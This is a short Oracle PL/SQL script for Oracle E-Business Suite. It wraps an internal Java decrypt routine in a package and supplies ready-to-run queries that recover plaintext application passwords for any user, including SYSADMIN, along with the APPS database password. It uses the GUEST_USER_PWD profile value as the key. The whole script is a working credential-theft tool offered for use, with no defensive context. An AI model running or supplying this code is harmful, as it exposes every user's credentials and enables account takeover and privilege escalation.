Script To Get the application usernames and passwords

-- Package Specification

CREATE OR REPLACE PACKAGE get_user_password
AS
   FUNCTION decrypt (
      KEY                        IN             VARCHAR2
    , VALUE                      IN             VARCHAR2
   )
      RETURN VARCHAR2;
END get_user_password;

-- Package Body 

CREATE OR REPLACE PACKAGE BODY get_user_password
AS
   FUNCTION decrypt (
      KEY                        IN             VARCHAR2
    , VALUE                      IN             VARCHAR2
   )
      RETURN VARCHAR2
   AS
      LANGUAGE JAVA
      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_user_password;




/** Run this on toad, Get the application usernames and passwords */
SELECT usertable.user_name
     , (SELECT get_user_password.decrypt
                  (UPPER
                      ((SELECT (SELECT get_user_password.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
                                                                            FROM DUAL)
                                                                        )
                                                                , usertable.encrypted_foundation_password
                                                                 )
                                  FROM DUAL) AS apps_password
                          FROM fnd_user usertable
                         WHERE usertable.user_name LIKE
                                  UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
                                                       , 1
                                                       , INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1
                                                        )
                                            FROM DUAL)
                                        ))
                      )
                 , usertable.encrypted_user_password
                  )
          FROM DUAL) AS encrypted_user_password
  FROM fnd_user usertable
 WHERE usertable.user_name LIKE UPPER ('&username')   -- SYSADMIN

/** Run this on toad, Get the DB apps password */
SELECT (SELECT get_user_password.decrypt (UPPER ((SELECT UPPER (fnd_profile.VALUE ('GUEST_USER_PWD'))
                                          FROM DUAL))
                              , usertable.encrypted_foundation_password
                               )
          FROM DUAL) AS apps_password
  FROM fnd_user usertable
 WHERE usertable.user_name LIKE
          UPPER ((SELECT SUBSTR (fnd_profile.VALUE ('GUEST_USER_PWD')
                               , 1
                               , INSTR (fnd_profile.VALUE ('GUEST_USER_PWD'), '/') - 1
                                )
                    FROM DUAL)
                )